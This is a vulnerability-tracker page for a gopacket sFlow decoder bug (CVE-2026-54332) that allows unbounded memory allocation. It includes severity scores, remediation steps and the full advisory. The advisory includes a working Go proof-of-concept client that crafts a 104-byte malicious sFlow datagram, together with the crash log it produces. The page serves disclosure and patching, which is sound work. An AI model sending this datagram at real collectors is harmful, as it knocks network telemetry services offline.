Skip to main content

gopacket EUVDEUVD-2026-49894

| CVE-2026-54332 MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-28 https://github.com/gopacket/gopacket GHSA-g6v3-7xmc-w563
6.9
CVSS 4.0 · Vendor: https://github.com/gopacket/gopacket
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send crafted sFlow UDP datagram to target collector port
  2. Delivery
    Collector receives and queues packet
  3. Exploit
    gopacket’s NewPacket initiates sFlow decoding
  4. Execution
    Decoder reaches ExtendedGatewayFlow record
  5. Persist
    Unbounded memory allocation based on attacker‑controlled field
  6. Impact
    Process OOM-killed by Go runtime

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target must be running an application that uses gopacket’s sFlow decoder and processes ExtendedGatewayFlow (record type 1003) data. No authentication, special configuration, or privilege is needed beyond network reachability to the UDP port where sFlow datagrams are received (default 6343). Any such collector that parses sFlow with the vulnerable code path is susceptible.

Impact

No official CVSS score has been assigned by NVD, but based on the description the attack vector is network (AV:N), complexity is low (AC:L), no privileges are required (PR:N), and no user interaction is needed (UI:N), leading to a high availability impact (A:H). The internal severity assessment is Medium, reflecting that the impact is limited to denial of service without memory corruption or code execution. The EPSS exploitation probability is unknown. Public exploit code is available, but the vulnerability is not listed in CISA’s KEV, suggesting no known active exploitation at the time of analysis. Real‑world risk is moderate for critical sFlow collectors that rely on gopacket; however, the high ease of exploitation via a single UDP packet elevates the urgency to patch.

Exploit ScenarioDerived

An attacker sends a single specially crafted 104-byte sFlow v5 UDP datagram to an sFlow collector that uses gopacket (typically port 6343). The datagram contains a record type 1003 with communitiesLength set to 0xFFFFFFFF; the parser immediately attempts to allocate 16 GiB of memory, exhausting resources and causing the collector process to terminate with a runtime out‑of‑memory fatal error.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 28, 2026

Remote unauthenticated denial of service in gopacket <= 1.6.0 via a single crafted sFlow UDP datagram that triggers an unbounded memory allocation of up to 16 GiB, causing the parsing process to be OOM-killed. Affected services include any network telemetry collector or application that uses gopacket’s sFlow decoder without additional validation. A proof-of-concept exploit exists and can crash the process with just a 104-byte packet.

RemediationAI

Upgrade the gopacket dependency to version 1.6.1 or later. The patch (commit 76119086f5936aacd7088bdf97d565501bb6c4cc) adds length checks before the allocations, rejecting oversized counts if they exceed the remaining buffer. If immediate upgrading is not possible, consider network-level mitigations such as filtering or rate-limiting sFlow UDP datagrams from untrusted sources, though this may impact legitimate telemetry ingestion. No other workarounds exist within the library itself.

Affected VersionsENISA

gopacket < 1.6.1

Affected Packages

go github.com/gopacket/gopacket fix: 1.6.1
euvd gopacket fix: 1.6.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability lies in the sFlow protocol decoder of the gopacket Go library (github.com/gopacket/gopacket). Specifically, the decodeExtendedGatewayFlowRecord function in layers/sflow.go processes an ExtendedGatewayFlow record (type 1003) of sFlow v5, a UDP-based network telemetry protocol. Two code paths allocate slices using make([]uint32, n) where n is read directly from attacker-controlled wire fields (communitiesLength and ASPath.Count) without any bounds check against the remaining packet data. This falls under CWE-770: Allocation of Resources Without Limits or Throttling. The affected CPE is pkg:go/github.com_gopacket_gopacket, confirming the library itself is the vulnerable component, not a specific application.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gopacket/gopacket) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Network reachable, low complexity, no privileges or user interaction; only availability impact on the collector.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/gopacket/gopacket).

CVSS VectorVendor: https://github.com/gopacket/gopacket

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 28, 2026 - 17:22 NVD
6.9 (MEDIUM)

DescriptionCVE.org

Summary

The sFlow ExtendedGatewayFlow record decoder in github.com/gopacket/gopacket allocates a slice with make([]uint32, n) where n is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).

Root cause (file:line @ v1.6.0)

Two sinks in layers/sflow.go, both in the ExtendedGatewayFlow (record type 1003) decode path:

  1. layers/sflow.go:1306 in decodeExtendedGatewayFlowRecord:
go
*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
eg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound
for j := uint32(0); j < communitiesLength; j++ { ... }
  1. layers/sflow.go:1276 in decodePath (a helper called from the same record decoder):
go
*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
ad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound
for i := uint32(0); i < ad.Count; i++ { ... }

In both cases the make is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. communitiesLength = 0xFFFFFFFF requests make([]uint32, 4294967295) = 16,384 MB (16 GiB).

Reachability (remote attacker -> sink)

The registered LayerTypeSFlow decoder parses sFlow datagrams from the wire:

SFlowDatagram.DecodeFromBytes (sflow.go:302) -> SampleCount loop -> decodeFlowSample(expanded=false) (sflow.go:458) -> RecordCount loop -> record format 1003 SFlowTypeExtendedGatewayFlow (sflow.go:573) -> decodeExtendedGatewayFlowRecord (sflow.go:1284) -> sink at line 1306 (and line 1276 via the ASPath -> decodePath branch).

sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default) is equally affected.

Impact

Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution - the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).

Proof of Concept

This PoC is an end-to-end test against a real deployed sFlow collector. A minimal but realistic UDP collector (built on the public gopacket API, exactly as a real network-telemetry collector would be) runs inside a hard-capped 256 MB container; an independent client process sends a real malicious sFlow datagram over a real UDP socket; the collector process is then observed to die. A benign datagram is used as a negative control.

The harness pins github.com/gopacket/gopacket@v1.6.0 (the sink is confirmed at the v1.6.0 tag, layers/sflow.go:1306).

Collector (real UDP sFlow collector)

go
// collector.go - binds a UDP socket and, for every datagram, builds a
// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives
// the registered sFlow decoder over the attacker-controlled bytes.
package main

import (
	"fmt"
	"net"
	"os"

	"github.com/gopacket/gopacket"
	"github.com/gopacket/gopacket/layers"
)

func main() {
	udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343")
	conn, err := net.ListenUDP("udp4", udpAddr)
	if err != nil {
		fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
		os.Exit(1)
	}
	defer conn.Close()
	fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr())

	buf := make([]byte, 65535)
	for {
		n, src, err := conn.ReadFromUDP(buf)
		if err != nil {
			continue
		}
		datagram := make([]byte, n)
		copy(datagram, buf[:n])
		fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src)
		pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)
		if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {
			fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n",
				dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))
		} else {
			fmt.Printf("[collector] no sFlow layer decoded\n")
		}
	}
}

Client (independent process, real UDP socket, no gopacket dependency)

The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying one ExtendedGatewayFlow (record type 1003) record and sets only its communitiesLength field. For the benign case it appends real community words plus the trailing LocalPref word so the record decodes cleanly.

go
// client.go - usage: client <addr> <communitiesLength> [--benign]
package main

import (
	"encoding/binary"
	"fmt"
	"net"
	"os"
	"strconv"
)

func u32(b *[]byte, v uint32) {
	t := make([]byte, 4)
	binary.BigEndian.PutUint32(t, v)
	*b = append(*b, t...)
}

func buildDatagram(commLen uint32, benign bool) []byte {
	var d []byte
	u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)
	u32(&d, 1)           // SampleCount = 1
	u32(&d, 1)           // sample format -> FlowSample
	u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)
	u32(&d, 1)           // RecordCount = 1
	u32(&d, 1003)        // record format -> ExtendedGatewayFlow
	u32(&d, 0)           // FlowDataLength
	u32(&d, 1)           // gateway address type = IPv4
	u32(&d, 0x08080808)  // NextHop
	u32(&d, 0); u32(&d, 0); u32(&d, 0)
	u32(&d, 0)           // ASPathCount = 0
	u32(&d, commLen)     // communitiesLength -> make([]uint32, commLen) sink
	if benign {
		for i := uint32(0); i < commLen; i++ {
			u32(&d, 0xABCD0000+i)
		}
		u32(&d, 100) // trailing LocalPref word
	}
	return d
}

func main() {
	addr := os.Args[1]
	commLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
	benign := len(os.Args) > 3 && os.Args[3] == "--benign"
	data := buildDatagram(uint32(commLen), benign)
	raddr, _ := net.ResolveUDPAddr("udp", addr)
	conn, _ := net.DialUDP("udp", nil, raddr)
	defer conn.Close()
	conn.Write(data)
	fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n",
		len(data), commLen, benign)
}

Run and observed result

The collector runs under a hard 256 MB cgroup cap with swap disabled (--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and the host is unaffected.

Negative control (benign datagram, communitiesLength=4):

$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign
[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)
# collector log:
[collector] received 124-byte datagram from 172.18.0.3:56438
[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1
# collector status: Up (ALIVE); RSS flat at 1.5 MiB

Attack (single malicious datagram, communitiesLength=0xFFFFFFFF):

$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295
[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB
[client] datagram sent over real UDP socket
# collector log (verbatim):
[collector] received 104-byte datagram from 172.18.0.3:42284
fatal error: runtime: out of memory

runtime stack:
runtime.throw(...)
runtime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested
runtime.makeslice(...)
	/usr/local/go/src/runtime/slice.go:117
github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306
github.com/gopacket/gopacket/layers.decodeFlowSample(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574
github.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321
github.com/gopacket/gopacket.NewPacket(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767
main.main()
	/src/collector.go:54
# container final state:
Status=exited OOMKilled=false ExitCode=2

A single 104-byte UDP datagram, delivered over a real socket to a real gopacket-based collector, terminates the collector process. The Go runtime tries to sysMapOS 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied, and the runtime aborts with fatal error: runtime: out of memory (exit 2). The full attacker -> sink call stack is captured: collector.go:54 (gopacket.NewPacket) -> SFlowDatagram.DecodeFromBytes -> decodeFlowSample (sflow.go:574) -> decodeExtendedGatewayFlowRecord (sflow.go:1306) -> makeslice -> fatal OOM. The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled communitiesLength field is what drives the allocation.

The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.

Affected versions

github.com/gopacket/gopacket <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same layers/sflow.go decode code are affected as well.

Suggested fix

Before each make([]uint32, n), validate n against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is remaining_bytes / 4; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing errors.New / fmt.Errorf error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:

  • decodeExtendedGatewayFlowRecord: reject when communitiesLength > uint32(len(*data)/4) before make([]uint32, communitiesLength).
  • decodePath: reject when ad.Count > uint32(len(*data)/4) before make([]uint32, ad.Count), and propagate the error to the caller.

I will follow up with a fix PR via the advisory's private fork.

References

  • sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).
  • CWE-770: Allocation of Resources Without Limits or Throttling.

Threat Intelligence Overview

EPSS Score
0.4%
Top 71% exploitable
Prevalence
Medium
popular Go library but sFlow parsing is a niche protocol within its user base
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA MSRC Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

54
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A buffer overflow occurs when a program writes more data to a memory buffer than it was allocated to hold, causing the excess data to spill into adjacent memory regions.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy